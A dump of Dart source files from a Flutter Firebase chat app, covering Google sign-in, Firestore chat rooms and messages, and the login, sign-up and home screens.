import 'package:full_chat_app/helperFunctions/sharedPreferences.dart';
import 'package:full_chat_app/services/auth.dart';
import 'package:shared_preferences/shared_preferences.dart';
import 'package:full_chat_app/services/store.dart';
import 'package:random_string/random_string.dart';
class ChatScreen extends StatefulWidget {
final String displayName, chatRoomId;
ChatScreen(
{
@required this.displayName,
@required this.chatRoomId});
@override
_ChatScreenState createState() => _ChatScreenState();
}
class _ChatScreenState extends State<ChatScreen> {
Store _store = Store();
String messageId;
String myName, myProfilePic, myUserName, myEmail;
Stream chatRoomMessagesStream;
TextEditingController _textEditingController = TextEditingController();
getMyInfoFromSharedPreference() async {
myName = await SharedPreferencesHelper().getDisplayName();
myProfilePic = await SharedPreferencesHelper().getUserProfileUrl();
myUserName = await SharedPreferencesHelper().getUserName();
myEmail = await SharedPreferencesHelper().getUserEmail();
print("user name: "+myUserName+"my display"+myName+"my email"+myEmail);
// chatRoomId =
// _store.getChatRoomIdByUsernames(widget.chatWithUsername, widget.name);
}
addMessage() {
if (_textEditingController.text != "") {
print(_textEditingController.text);
String message = _textEditingController.text;
var lastMessageTs = DateTime.now();
Map<String, dynamic> _messageInfoMap = {
"message": message,
"sendBy": myUserName,
"ts": lastMessageTs,
"imgUrl": myProfilePic
};
if (messageId == "") {
messageId = randomAlphaNumeric(12);
}
_store
.addMessage(widget.chatRoomId, messageId, _messageInfoMap)
.then((value) {
Map<String, dynamic> _lastMessageInfoMap = {
"lastMessage": message,
"lastMessageSendTs": lastMessageTs,
"lastMessageSendBy": myUserName
};
_store.updateLastMessageSend(widget.chatRoomId, _lastMessageInfoMap);
// remove the text in the message input field
_textEditingController.text = "";
// make message id blank to get regenerated on next message send
messageId = "";
setState(() {});
});
}
}
getAndSetMessages() async {
chatRoomMessagesStream =
await _store.getChatRoomMessages(widget.chatRoomId);
setState(() {});
}
doThisOnLunch() async {
await getMyInfoFromSharedPreference();
getAndSetMessages();
}
Widget chatMessages() {
return StreamBuilder(
stream: chatRoomMessagesStream,
builder: (context, snapshot) {
return snapshot.hasData
? ListView.builder(
reverse: true,
itemBuilder: (context, index) {
DocumentSnapshot ds = snapshot.data.docs[index];
return messageTile(ds['message'], myUserName == ds['sendBy']);
},
itemCount: snapshot.data.docs.length,
)
: Text('Start conversation');
},
);
}
Widget messageTile(text, bool sendByMe) {
return Row(
mainAxisSize: MainAxisSize.min,
mainAxisAlignment:
sendByMe ? MainAxisAlignment.end : MainAxisAlignment.start,
children: [
Container(
constraints: BoxConstraints( maxWidth: 200),
decoration: BoxDecoration(
color: sendByMe?Color(0xffec524b):Color(0xffffd369),
borderRadius: BorderRadius.only(
topRight: Radius.circular(30),
topLeft: Radius.circular(30),
bottomRight: sendByMe?Radius.circular(0):Radius.circular(30),
bottomLeft: sendByMe?Radius.circular(30):Radius.circular(0))),
margin: EdgeInsets.symmetric(vertical: 4, horizontal: 8),
padding: EdgeInsets.symmetric(vertical: 10, horizontal: 16),
child: Text(
text,
style: TextStyle(color: Colors.white),
),
),
],
);
}
@override
void initState() {
doThisOnLunch();
print("chat");
print(widget.chatRoomId);
super.initState();
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
backgroundColor: Color(0xff222831),
title: Text(widget.displayName),
),
body: Container(
child: Column(
children: [
Expanded(child: chatMessages()),
Container(
margin: EdgeInsets.only(top: 10),
padding: EdgeInsets.all(15),
alignment: Alignment.bottomCenter,
child: Container(
padding: EdgeInsets.symmetric(horizontal: 15),
decoration: BoxDecoration(
borderRadius: BorderRadius.circular(30),
border: Border.all(
color: Colors.grey, width: 1, style: BorderStyle.solid)),
child: Row(
children: [
Expanded(
child: TextField(
controller: _textEditingController,
style: TextStyle(color: Colors.white),
decoration: InputDecoration(
border: InputBorder.none,
hintText: "Type a message...",
hintStyle: TextStyle(color: Colors.white)),
)),
IconButton(
onPressed: () {
addMessage();
},
icon: Icon(Icons.send),
color: Color(0xffffd369),
)
],
),
),
)
],
)),
);
}
}
<file_sep>/lib/constant.dart
const KUserCollection = 'users';
const KUserId = 'userId';
const KUserName = 'userName';
const KUserProfileUrl = 'profileUrl';
const KUserEmail = 'email';
const KUserDisplayName = 'displayName';<file_sep>/lib/widgets/widget.dart
import 'package:flutter/material.dart';
Widget mainAppBar(BuildContext context, String title,){
return AppBar(
title: Text(title),
backgroundColor: Color(0xff222831),
);
}
InputDecoration textFieldDecoration(String title){
return InputDecoration(
enabledBorder: UnderlineInputBorder(borderSide: BorderSide(color: Colors.white54)),
focusedBorder: UnderlineInputBorder(borderSide: BorderSide(color: Colors.white)),
hintText: title,
hintStyle: TextStyle(color: Colors.white54));
}
Widget customButton(String text,BuildContext context,Color colors){
return Container(
alignment: Alignment.center,
width: MediaQuery.of(context).size.width,
padding: EdgeInsets.symmetric(vertical: 20),
child: Text(text,style: TextStyle(color: Colors.white),),
decoration: BoxDecoration(
color: colors,
borderRadius: BorderRadius.circular(50),
),
);
}<file_sep>/lib/views/home.dart
import 'package:cloud_firestore/cloud_firestore.dart';
import 'package:flutter/material.dart';
import 'package:full_chat_app/services/auth.dart';
import 'package:full_chat_app/views/loginScreen.dart';
import 'package:full_chat_app/widgets/widget.dart';
import 'package:full_chat_app/services/store.dart';
class Home extends StatefulWidget {
@override
_HomeState createState() => _HomeState();
}
class _HomeState extends State<Home> {
bool isSearching = false;
Stream userStream;
String myName, myProfilePic, myUserName, myEmail;
Stream usersStream, chatRoomsStream;
TextEditingController searchUsernameEditingController =
TextEditingController();
onSearchBtnClick() async {
isSearching = true;
setState(() {});
usersStream =
await Store().getUserByName(searchUsernameEditingController.text);
setState(() {
});
if(userStream == null){
print('null');
}
}
Widget searchUsersList() {
return StreamBuilder(
stream: usersStream,
builder: (context, snapshot) {
return snapshot.hasData?
ListView.builder(
itemCount: snapshot.data.docs.length,
shrinkWrap: true,
itemBuilder: (context, index) {
DocumentSnapshot ds = snapshot.data.docs[index];
return Text('found');
},
)
: Center(
child: CircularProgressIndicator(),
);
},
);
}
chatRoomListTile() {
print("hhhhhhhh");
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text("Chat App"),
backgroundColor: Color(0xff222831),
actions: [
IconButton(
icon: Icon(Icons.exit_to_app),
onPressed: () {
FirebaseServices().signOut().then((value) =>
Navigator.pushReplacement(context,
MaterialPageRoute(builder: (context) => LoginScreen())));
},
)
],
),
body: Container(
margin: EdgeInsets.symmetric(horizontal: 20),
child: Column(
children: [
Row(
children: [
isSearching
? GestureDetector(
onTap: () {
isSearching = false;
searchUsernameEditingController.text = "";
setState(() {});
},
child: Padding(
padding: EdgeInsets.only(right: 12),
child: Icon(Icons.arrow_back)),
)
: Container(),
Expanded(
child: Container(
margin: EdgeInsets.symmetric(vertical: 16),
padding: EdgeInsets.symmetric(horizontal: 16),
decoration: BoxDecoration(
border: Border.all(
color: Colors.grey,
width: 1,
style: BorderStyle.solid),
borderRadius: BorderRadius.circular(24)),
child: Row(
children: [
Expanded(
child: TextField(
style: TextStyle(color: Colors.white54),
controller: searchUsernameEditingController,
decoration: InputDecoration(
border: InputBorder.none,
hintText: "Username",
fillColor: Colors.white54),
)),
GestureDetector(
onTap: () {
if (searchUsernameEditingController.text != "") {
onSearchBtnClick();
}
},
child: Icon(Icons.search, color: Colors.white54,))
],
),
),
), isSearching ? searchUsersList() : Center(child:Text('list'))
],
),
],
),
),
);
}
}
<file_sep>/lib/services/auth.dart
import 'package:firebase_auth/firebase_auth.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:google_sign_in/google_sign_in.dart';
import 'package:full_chat_app/helperFunctions/sharedPreferences.dart';
import 'package:full_chat_app/services/store.dart';
import 'package:shared_preferences/shared_preferences.dart';
import 'package:full_chat_app/views/home2.dart';
class FirebaseServices {
FirebaseAuth _auth = FirebaseAuth.instance;
Store _store = Store();
Future<UserCredential> signInWithEmailAndPassword(
String email, String password) async {
final UserCredential authResult = await _auth.signInWithEmailAndPassword(
email: email, password: password);
return authResult;
}
Future<UserCredential> signUp(String email, String password) async {
final UserCredential user = await _auth.createUserWithEmailAndPassword(
email: email, password: password);
return user;
}
void signInWithGoogle(BuildContext context) async {
final GoogleSignIn _googleSignIn = GoogleSignIn();
final GoogleSignInAccount _googleSignInAccount =
await _googleSignIn.signIn();
final GoogleSignInAuthentication _googleSignInAuthentication =
await _googleSignInAccount.authentication;
final AuthCredential _credential = GoogleAuthProvider.credential(
idToken: _googleSignInAuthentication.idToken,
accessToken: _googleSignInAuthentication.accessToken);
UserCredential userCredential =
await _auth.signInWithCredential(_credential);
User userDetails = userCredential.user;
var userName = userDetails.email.replaceAll("@<EMAIL>", "");
if (userCredential == null) {
} else {
SharedPreferencesHelper().saveUserEmail(userDetails.email);
SharedPreferencesHelper().saveUserId(userDetails.uid);
SharedPreferencesHelper().saveUsername(userName);
SharedPreferencesHelper().saveDisplayName(userDetails.displayName);
SharedPreferencesHelper().saveProfilePicUrl(userDetails.photoURL);
Map<String, dynamic> data = {
"displayName": userDetails.displayName,
"email": userDetails.email,
"userName": userDetails.email.replaceAll("@<EMAIL>", ""),
"userId": userDetails.uid,
"profileUrl": userDetails.photoURL
};
print( userDetails.email.replaceAll("@gmail.com", ""));
_store.addUser(id: userDetails.uid, data: data).then((value) =>
Navigator.pushReplacement(context, MaterialPageRoute(builder: (context) => Home2()))
); //the value is doc id
}
}
getUser() async{
return await _auth.currentUser;
}
Future signOut() async {
SharedPreferences prefs = await SharedPreferences.getInstance();
prefs.clear();
await _auth.signOut();
}
}
<file_sep>/lib/views/home2.dart
import 'package:cloud_firestore/cloud_firestore.dart';
import 'package:flutter/material.dart';
import 'package:full_chat_app/services/auth.dart';
import 'package:full_chat_app/views/loginScreen.dart';
import 'package:full_chat_app/widgets/widget.dart';
import 'package:full_chat_app/services/store.dart';
import 'chatScreen.dart';
import 'package:full_chat_app/helperFunctions/sharedPreferences.dart';
class Home2 extends StatefulWidget {
@override
_HomeState createState() => _HomeState();
}
class _HomeState extends State<Home2> {
bool isSearching = false;
String myUserName, myDisplayName;
Stream usersStream, chatRoomsStream;
Store _store = Store();
TextEditingController searchUsernameEditingController =
TextEditingController();
onSearchBtnClick() async {
isSearching = true;
setState(() {});
usersStream =
await Store().getUserByName(searchUsernameEditingController.text);
setState(() {});
}
getMyInfoFromSharedPreference() async {
myUserName = await SharedPreferencesHelper().getUserName();
myDisplayName = await SharedPreferencesHelper().getDisplayName();
print("my user name" + myUserName);
setState(() {});
}
Widget searchListTile({String profileUrl, displayName, email}) {
return ListTile(
leading: ClipRRect(
borderRadius: BorderRadius.circular(40),
child: Image.network(
profileUrl,
height: 40,
width: 40,
),
),
title: Text(
displayName,
style: TextStyle(color: Colors.white),
),
subtitle: Text(
email,
style: TextStyle(color: Colors.grey),
),
onTap: () {
print("my2" + myUserName);
String chatRoomId = _store.getChatRoomIdByUsernames(myDisplayName, displayName);
print(chatRoomId);
Map<String, dynamic> chatRoomInfo = {
"users": [myDisplayName, displayName]
};
_store.createChatRoom(chatRoomId, chatRoomInfo);
Navigator.push(
context,
MaterialPageRoute(
builder: (context) => ChatScreen(
displayName: displayName,
chatRoomId: chatRoomId,
)));
});
}
Widget chatRoomsList() {
return StreamBuilder(
stream: chatRoomsStream,
builder: (context, snapshot) {
return snapshot.hasData
? ListView.builder(
shrinkWrap: true,
itemBuilder: (context, index) {
DocumentSnapshot ds = snapshot.data.docs[index];
return ChatRoomListTile(ds["lastMessage"], ds.id, myDisplayName);
},
itemCount: snapshot.data.docs.length,
)
: Text('Start conversation with your Friends');
},
);
}
getChatRooms() async {
chatRoomsStream = await _store.getChatRooms();
setState(() {});
}
Widget searchUsersList() {
return StreamBuilder(
stream: usersStream,
builder: (context, snapshot) {
return snapshot.hasData
? ListView.builder(
itemCount: snapshot.data.docs.length,
shrinkWrap: true,
itemBuilder: (context, index) {
DocumentSnapshot ds = snapshot.data.docs[index];
return searchListTile(
profileUrl: ds['profileUrl'],
displayName: ds['displayName'],
email: ds['email'],
);
},
)
: Center(
child: CircularProgressIndicator(),
);
},
);
}
@override
void initState() {
getMyInfoFromSharedPreference();
getChatRooms();
super.initState();
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
backgroundColor: Color(0xff222831),
title: Text("Messenger Clone"),
actions: [
InkWell(
onTap: () {
FirebaseServices().signOut().then((s) {
Navigator.pushReplacement(context,
MaterialPageRoute(builder: (context) => LoginScreen()));
});
},
child: Container(
padding: EdgeInsets.symmetric(horizontal: 16),
child: Icon(
Icons.exit_to_app,
color: Colors.white,
)),
)
],
),
body: Container(
margin: EdgeInsets.symmetric(horizontal: 20),
child: Column(
children: [
Row(
children: [
isSearching
? GestureDetector(
onTap: () {
isSearching = false;
searchUsernameEditingController.text = "";
setState(() {});
},
child: Padding(
padding: EdgeInsets.only(right: 12),
child: Icon(
Icons.arrow_back,
color: Colors.white,
)),
)
: Container(),
Expanded(
child: Container(
margin: EdgeInsets.symmetric(vertical: 16),
padding: EdgeInsets.symmetric(horizontal: 16),
decoration: BoxDecoration(
border: Border.all(
color: Colors.grey,
width: 1,
style: BorderStyle.solid),
borderRadius: BorderRadius.circular(24)),
child: Row(
children: [
Expanded(
child: TextField(
style: TextStyle(color: Colors.white),
cursorColor: Colors.red,
controller: searchUsernameEditingController,
decoration: InputDecoration(
fillColor: Colors.white,
border: InputBorder.none,
hintText: "username",
hintStyle: TextStyle(color: Colors.white)),
)),
GestureDetector(
onTap: () {
if (searchUsernameEditingController.text != "") {
onSearchBtnClick();
}
},
child: Icon(
Icons.search,
color: Colors.white,
))
],
),
),
),
],
),
isSearching ? searchUsersList() : chatRoomsList()
],
),
),
);
}
}
class ChatRoomListTile extends StatefulWidget {
final String lastMessage, chatRoomId, myDisplayName;
ChatRoomListTile(this.lastMessage, this.chatRoomId, this.myDisplayName);
@override
_ChatRoomListTileState createState() => _ChatRoomListTileState();
}
class _ChatRoomListTileState extends State<ChatRoomListTile> {
String profilePicUrl = "", displayName = "";
getThisUserInfo() async {
displayName =
widget.chatRoomId.replaceAll(widget.myDisplayName, "").replaceAll("_", "");
QuerySnapshot querySnapshot = await Store().getUserInfo(displayName);
profilePicUrl = await querySnapshot.docs[0]["profileUrl"];
print(profilePicUrl);
setState(() {});
}
@override
void initState() {
getThisUserInfo();
super.initState();
}
@override
Widget build(BuildContext context) {
return GestureDetector(
onTap: () {
Navigator.push(
context,
MaterialPageRoute(
builder: (context) => ChatScreen(
displayName: displayName,
chatRoomId: widget.chatRoomId,
)));
},
child: Container(
margin: EdgeInsets.symmetric(vertical: 8),
child: Row(
children: [
ClipRRect(
borderRadius: BorderRadius.circular(30),
child:
Image.network(
profilePicUrl,
height: 40,
width: 40,
),
),
SizedBox(width: 12),
Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
displayName,
style: TextStyle(fontSize: 16),
),
SizedBox(height: 3),
Text(widget.lastMessage)
],
)
],
),
),
);
}
}<file_sep>/lib/views/signUpScreen.dart
import 'package:flutter/material.dart';
import 'package:full_chat_app/widgets/widget.dart';
import 'package:full_chat_app/services/auth.dart';
class SignUpScreen extends StatefulWidget {
final GlobalKey<FormState> _globalkey = GlobalKey<FormState>();
@override
_SignUpScreenState createState() => _SignUpScreenState();
}
class _SignUpScreenState extends State<SignUpScreen> {
FirebaseServices _auth = FirebaseServices();
String password, email, username;
TextEditingController _usernameController = TextEditingController();
TextEditingController _emailController = TextEditingController();
TextEditingController _passwordController = TextEditingController();
@override
void dispose() {
//بتتنفذ لما اطلع من ال page
_usernameController.dispose();
_emailController.dispose();
_passwordController.dispose();
super.dispose();
}
@override
Widget build(BuildContext context) {
return Scaffold(
resizeToAvoidBottomPadding: false,
body: Container(
padding: EdgeInsets.symmetric(horizontal: 24),
child: Column(
children: [
Form(
key: widget._globalkey,
child: ListView(
shrinkWrap: true,
children: [
TextFormField(
onChanged: (value) {
setState(() {
username = value;
});
},
validator: (value) {
if (value == '') {
return 'Username is empty';
}
return null;
},
controller: _usernameController,
style: TextStyle(color: Colors.white),
decoration: textFieldDecoration('Username'),
),
TextFormField(
onChanged: (value) {
setState(() {
email = value;
});
},
validator: (value) {
if (value == '') {
return 'Email is empty';
}
return null;
},
controller: _emailController,
style: TextStyle(color: Colors.white),
decoration: textFieldDecoration('Email'),
),
TextFormField(
onChanged: (value) {
setState(() {
password = value;
});
},
validator: (value) {
if (value == '') {
return 'Password is empty';
}
return null;
},
controller: _passwordController,
style: TextStyle(color: Colors.white),
decoration: textFieldDecoration('Password'),
),
],
),
),
SizedBox(
height: 8,
),
SizedBox(
height: 8,
),
GestureDetector(
onTap: () async {
print(email);
print(password);
if (widget._globalkey.currentState.validate()) {
widget._globalkey.currentState.save();
try {
final authResult = await _auth.signUp(
email.trim(), password.trim());
print(authResult.user
.uid); //هادا ال id ال firebase هو اللي بعملي اياه
// store.addUser(id: authResult.user
// .uid,fullName: fullName,dateOfBirth: selectedDate,email: email);
// Navigator.pushReplacement(
// context,
// MaterialPageRoute(
// builder: (context) => HomePage(userId: authResult.user
// .uid,)));
} catch (e) {
print(e);
// Scaffold.of(context).showSnackBar(SnackBar(
// content: Text(e
// .message), //ممكن الاكسبشن علشان الايميل متكرر او علشان الفورمات غلط تبع الايميل
// ));
}
}
},
child: customButton('Sign up', context, Color(0xffffd369))),
SizedBox(
height: 16,
),
customButton('Sign up with Google', context, Color(0xffec524b)),
SizedBox(
height: 16,
),
Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text("Already have an account? ",
style: TextStyle(color: Colors.white)),
Text(
'Login now',
style: TextStyle(
decoration: TextDecoration.underline,
color: Colors.white),
)
],
)
],
),
),
appBar: mainAppBar(context,"Sign up Screen"),
);
}
}
<file_sep>/lib/services/store.dart
import 'package:cloud_firestore/cloud_firestore.dart';
import 'package:full_chat_app/constant.dart';
import 'package:full_chat_app/helperFunctions/sharedPreferences.dart';
import 'package:full_chat_app/models/user.dart';
import 'package:flutter/cupertino.dart';
class Store {
final FirebaseFirestore _fireStore = FirebaseFirestore.instance;
Future addUser(
{@required String id, @required Map<String, dynamic> data}) async {
return await _fireStore.collection(KUserCollection).doc(id).set(data);
}
Future<Stream<QuerySnapshot>> getUserByName(String username) async {
return await _fireStore
.collection('users')
.where('userName', isEqualTo: username)
.snapshots();
}
// Future<User> getUser(String uId) async {
// User user;
// await _fireStore
// .collection(KUserCollection)
// .doc(uId)
// .get()
// .then((value) => user = User.fromDB(value.data()));
// return user;
// }
//
// Future<Map<String,dynamic>> getUserById(String id) async{
// return _fireStore.collection(KUserCollection).doc(id).get().then((value) => value.data());
// }
Future addMessage(String chatRoomId, String messageId,
Map messageInfoMap) async {
_fireStore
.collection('chatRooms')
.doc(chatRoomId)
.collection('chats')
.doc(messageId)
.set(messageInfoMap);
}
Future updateLastMessageSend(String chatRoomId, Map lastMessageInfo) async {
return _fireStore
.collection("chatRooms")
.doc(chatRoomId)
.update(lastMessageInfo);
}
getChatRoomIdByUsernames(String a, String b) {
if (a.substring(0, 1).codeUnitAt(0) > b.substring(0, 1).codeUnitAt(0)) {
return "$b\_$a";
} else {
return "$a\_$b";
}
}
createChatRoom(String chatRoomId, Map chatRoomInfo) async {
final snapshot =
await _fireStore.collection("chatRooms").doc(chatRoomId).get();
if (!snapshot.exists) {
return _fireStore
.collection("chatRooms")
.doc(chatRoomId)
.set(chatRoomInfo);
}
}
Future<Stream<QuerySnapshot>> getChatRoomMessages(String chatRoomId) async {
return _fireStore
.collection("chatRooms")
.doc(chatRoomId)
.collection("chats").orderBy('ts', descending: true)
.snapshots();
}
Future<Stream<QuerySnapshot>> getChatRooms() async {
String myDisplayName = await SharedPreferencesHelper().getDisplayName();
return _fireStore
.collection("chatRooms")
.where("users", arrayContains: myDisplayName).orderBy("lastMessageSendTs", descending: true)
.snapshots();
}
Future<QuerySnapshot> getUserInfo(String displayName) async {
return await _fireStore
.collection("users")
.where("displayName", isEqualTo: displayName)
.get();
}
}
<file_sep>/lib/views/loginScreen.dart
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:full_chat_app/widgets/widget.dart';
import 'package:full_chat_app/services/auth.dart';
class LoginScreen extends StatelessWidget {
@override
Widget build(BuildContext context) {
FirebaseServices services = FirebaseServices();
return Scaffold(
resizeToAvoidBottomPadding: false,
body: Container(
padding: EdgeInsets.symmetric(horizontal: 24),
child: Column(
children: [
Form(
child: ListView(
shrinkWrap: true,
children: [
TextField(
style: TextStyle(color: Colors.white),
decoration: textFieldDecoration('Email'),
),
TextField(
style: TextStyle(color: Colors.white),
decoration: textFieldDecoration('Password'),
),
],
),
),
SizedBox(
height: 8,
),
Container(
alignment: Alignment.centerRight,
child: FlatButton(
child: Text(
'Forgot Password?',
style: TextStyle(color: Colors.white),
),
),
),
SizedBox(
height: 8,
),
customButton('Sign in', context, Color(0xffffd369)),
SizedBox(
height: 16,
),
GestureDetector(onTap:(){
services.signInWithGoogle(context);
} ,child: customButton('Sign in with Google', context, Color(0xffec524b))),
SizedBox(
height: 16,
),
Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text("Don't have an account? ",
style: TextStyle(color: Colors.white)),
Text(
'Register now',
style: TextStyle(
decoration: TextDecoration.underline,
color: Colors.white),
)
],
)
],
),
),
appBar: mainAppBar(context,"Login Screen"),
);
}
}
|
b0c15b23243577bd981c8ebbf172be21e24e71a5
|
[
"Dart"
] | 11 |
Dart
|
Halla-yk/full_chat_app2
|
dcf215c0b09c90f4760997b74a4b78b25e3ade71
|
a1eeda0cc5c2c56600150c5f41716b537427f7f4
|
refs/heads/master
|
<repo_name>miniter/nginx_es<file_sep>/nginx.conf
# From https://gist.github.com/karmi/986390
# Run me with:
#
# $ nginx -p /path/to/this/file/ -c nginx.conf
#
# All requests are then routed to authenticated user's index, so
#
# GET http://user:password@localhost:8080/_search?q=*
#
# is rewritten to:
#
# GET http://localhost:9200/user/_search?q=*
daemon off;
worker_processes 1;
pid nginx.pid;
events {
worker_connections 1024;
}
http {
server_names_hash_bucket_size 64;
# Public API - only GET and POST to search allowed
server {
listen 443 ssl;
ssl on;
ssl_certificate /etc/nginx/ssl/wildcard_chain.pem;
ssl_certificate_key /etc/nginx/ssl/wildcard.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA;
ssl_prefer_server_ciphers on;
ssl_session_timeout 5m;
ssl_session_cache shared:SSL:50m;
proxy_set_header Host $http_host; # required for docker client's sake
proxy_set_header X-Real-IP $remote_addr; # pass on real client's IP
client_max_body_size 0; # disable any limits to avoid HTTP 413 for large image uploads
# required to avoid HTTP 411: see Issue #1486 (https://github.com/dotcloud/docker/issues/1486)
chunked_transfer_encoding on;
error_log elasticsearch-errors.log;
access_log elasticsearch.log;
# POST to _search
# ie http://snapindexer.com/product/_search
location ~ ^/.*/?_search$ {
include /etc/nginx/nginx_cors.conf;
include /etc/nginx/nginx_deny.conf;
# Authorize access
auth_basic "Restricted";
auth_basic_user_file /var/www/es_public/.htpasswd;
include /etc/nginx/nginx_es.conf;
}
# GET requests
location / {
include /etc/nginx/nginx_cors.conf;
# deny all except GET requests
if ($request_method !~ "GET") {
return 403;
break;
}
include /etc/nginx/nginx_deny.conf;
# Authorize access
auth_basic "Restricted";
auth_basic_user_file /var/www/es_public/.htpasswd;
include /etc/nginx/nginx_es.conf;
}
}
# Full access
server {
listen 8080 ssl;
ssl on;
ssl_certificate /etc/nginx/ssl/wildcard_chain.pem;
ssl_certificate_key /etc/nginx/ssl/wildcard.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA;
ssl_prefer_server_ciphers on;
ssl_session_timeout 5m;
ssl_session_cache shared:SSL:50m;
proxy_set_header Host $http_host; # required for docker client's sake
proxy_set_header X-Real-IP $remote_addr; # pass on real client's IP
client_max_body_size 0; # disable any limits to avoid HTTP 413 for large image uploads
# required to avoid HTTP 411: see Issue #1486 (https://github.com/dotcloud/docker/issues/1486)
chunked_transfer_encoding on;
error_log elasticsearch-errors.log;
access_log elasticsearch.log;
location / {
include /etc/nginx/nginx_deny.conf;
# Authorize access
auth_basic "Restricted";
auth_basic_user_file /var/www/es/.htpasswd;
include /etc/nginx/nginx_es.conf;
}
}
}
<file_sep>/startup.sh
#!/bin/bash
#copy original config over each time docker starts up as the ports/address change!
/bin/cp -f /etc/nginx/nginx_es.conf.original /etc/nginx/nginx_es.conf
nginx
|
a9cc09de8e0a47a0bcae5d3e5400941562917c77
|
[
"Shell",
"Nginx"
] | 2 |
Shell
|
miniter/nginx_es
|
f9682a5699bb90c7346a8b90961f613d3a935638
|
0591df18a802c033e8916b39e9686d45d49b4a92
|
refs/heads/master
|
<repo_name>skill088/marvelapp<file_sep>/module-injector/src/main/java/com/neehao/wo1/module_injector/DependencyHolder.kt
package com.neehao.wo1.module_injector
interface BaseDependencyHolder<Dependency : BaseFeatureDependencies> {
val dependencies: Dependency
}
abstract class DependencyHolder0<Dependency : BaseFeatureDependencies> :
BaseDependencyHolder<Dependency> {
abstract val block: (BaseDependencyHolder<Dependency>) -> Dependency
override val dependencies: Dependency
get() = block(this)
}
abstract class DependencyHolder1<Api1 : BaseFeatureApi, Dependency : BaseFeatureDependencies>(
private val api1: Api1
) : BaseDependencyHolder<Dependency> {
abstract val block: (BaseDependencyHolder<Dependency>, Api1) -> Dependency
override val dependencies: Dependency
get() = block(this, api1)
}
abstract class DependencyHolder2<Api1 : BaseFeatureApi, Api2 : BaseFeatureApi, Dependency : BaseFeatureDependencies>(
private val api1: Api1,
private val api2: Api2
) : BaseDependencyHolder<Dependency> {
abstract val block: (BaseDependencyHolder<Dependency>, Api1, Api2) -> Dependency
override val dependencies: Dependency
get() = block(this, api1, api2)
}<file_sep>/module-injector/src/main/java/com/neehao/wo1/module_injector/ComponentHolderDelegate.kt
package com.neehao.wo1.module_injector
import java.lang.ref.WeakReference
class ComponentHolderDelegate<Api : BaseFeatureApi, Dependency : BaseFeatureDependencies, Component : Api>(
private val componentFactory: (Dependency) -> Component
) : ComponentHolder<Api, Dependency> {
override var dependencyProvider: (() -> Dependency)? = null
private var componentWeakReference: WeakReference<Component>? = null
fun getComponentImpl(): Component {
var component: Component? = null
synchronized(this) {
dependencyProvider?.let { provider ->
component = componentWeakReference?.get()
if (component == null) {
component = componentFactory(provider())
componentWeakReference = WeakReference<Component>(component)
}
}
?: throw IllegalStateException("dependencyProvider for component with factory $componentFactory is not initialized")
}
return component
?: throw IllegalStateException("Component holder with component factory $componentFactory is not initialized")
}
override fun get(): Api = getComponentImpl()
}<file_sep>/settings.gradle
include ':module-injector'
include ':app'
rootProject.name = "marvel-app"<file_sep>/module-injector/src/main/java/com/neehao/wo1/module_injector/ComponentHolder.kt
package com.neehao.wo1.module_injector
interface BaseFeatureDependencies {
val dependencyHolder: BaseDependencyHolder<out BaseFeatureDependencies>
}
interface BaseFeatureApi
interface ComponentHolder<Api : BaseFeatureApi, Dependencies : BaseFeatureDependencies> {
var dependencyProvider: (() -> Dependencies)?
fun get(): Api
}
|
a3ff6a0935fb99457c4eafbdaff65a377a431dfb
|
[
"Kotlin",
"Gradle"
] | 4 |
Kotlin
|
skill088/marvelapp
|
8bda3f84e00930603a1f17dbc9381bab322e2f7c
|
f4fe7abb9c8684322f8877944f6c77c5733f9a9d
|
refs/heads/master
|
<repo_name>yarmoscow/hw-webscrapping<file_sep>/main.py
